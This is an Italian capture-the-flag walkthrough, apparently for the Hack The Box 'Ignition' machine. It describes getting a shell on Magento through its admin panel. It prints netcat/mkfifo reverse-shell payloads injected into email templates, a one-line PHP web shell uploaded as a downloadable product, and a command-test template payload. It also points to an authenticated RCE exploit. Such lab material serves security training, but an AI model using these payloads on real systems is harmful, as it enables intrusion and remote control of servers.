tags: Magento CMS reverse_shell


Injection nei Template Email

Magento utilizza un sistema di template per le email che permette l’uso di variabili e filtri. Se la versione è vulnerabile puoi iniettare codice PHP o comandi di sistema direttamente nel template e farlo eseguire tramite la funzione “Preview”.

Mettiti in ascolto con Netcat sulla tua macchina:

nc -lvnp 4444
  • Nel pannello Admin di Magento, vai su: Marketing Communications Email Templates.

  • Clicca su Add New Template

  • In “Load default template”, scegline uno a caso (es. “Forgot Password”) e clicca Load Template.

  • Dai un nome al template (es. “Shell”).

  • Nel campo Template Content, inserisci il payload.

Nota:_ Magento filtra molto. Prova questi payload in ordine:

 
# Primo payload
 
{{system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TUO_IP 4444 >/tmp/f')}}
 
# Secondo payload
 
{{block class="Magento\Framework\View\Element\Template" template="system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TUO_IP 4444 >/tmp/f')"}}    
 
  • Clicca su Save Template (o direttamente Preview Template se c’è il tasto in alto).

  • Se hai salvato, trova il template nella lista e clicca su Preview. L’atto di renderizzare l’anteprima esegue il codice. Controlla il tuo Netcat.

Upload “Downloadable Product”

Se il template non funziona, prova a caricare una shell tramite il catalogo prodotti. Magento rinomina i file in modo sicuro (hashing), ma c’è un trucco per trovarli.

  1. Crea un file shell.php:
<?php system($_GET['cmd']); ?>
  1. Vai su Catalog Products.

  2. Clicca Add Product e seleziona Downloadable Product.

  3. Compila i campi obbligatori (Nome, SKU, Prezzo) con dati a caso.

  4. Scorri in basso fino alla sezione Downloadable Information.

  5. Spunta “Is this downloadable product?“.

  6. Sotto “Links”, aggiungi una riga, seleziona “Upload File” e carica la tua shell.php.

  7. Importante: Non salvare ancora. Guarda la richiesta di rete (Network Tab del browser) o salva e cerca di capire dove è finito il file.

    • Solitamente finisce in: /pub/media/downloadable/files/links/s/h/shell.php (Magento prende la prima e la seconda lettera del file originale per creare le cartelle).

    • A volte aggiunge un hash al nome del file.

  8. Una volta trovato il percorso (puoi vederlo cliccando sul link del file nel pannello admin dopo aver salvato), naviga lì col browser: http://ignition.htb/pub/media/downloadable/files/links/s/h/shell.php?cmd=id

Exploit Script

Se i metodi manuali sono bloccati o troppo noiosi, la versione di Magento su Ignition è probabilmente vulnerabile a CVE-2022-24086 o simili exploit per Authenticated RCE.

  1. Controlla la versione di Magento (in basso a destra nel footer della pagina admin). Probabilmente è una 2.4.x.

  2. Cerca su searchsploit o GitHub: “Magento 2.4 Authenticated RCE”.

  3. C’è un exploit famoso in Python (spesso chiamato exploit.py nei writeup di Ignition) che sfrutta la vulnerabilità dei template email automaticamente.

Se vuoi usare un one-liner rapido per testare se l’RCE via template funziona (senza reverse shell complessa), prova a mettere questo nel Template Content e fai la Preview:

{{var this.getTemplateFilter().filter(system('id'))}}

Se nell’anteprima vedi uid=33(www-data)..., hai vinto. A quel punto sostituisci id con il comando per la reverse shell.’

Prossimo Step: Una volta ottenuta la shell come www-data, dovrai stabilizzarla (python3 -c 'import pty;pty.spawn("/bin/bash")') e cercare la flag user in /home.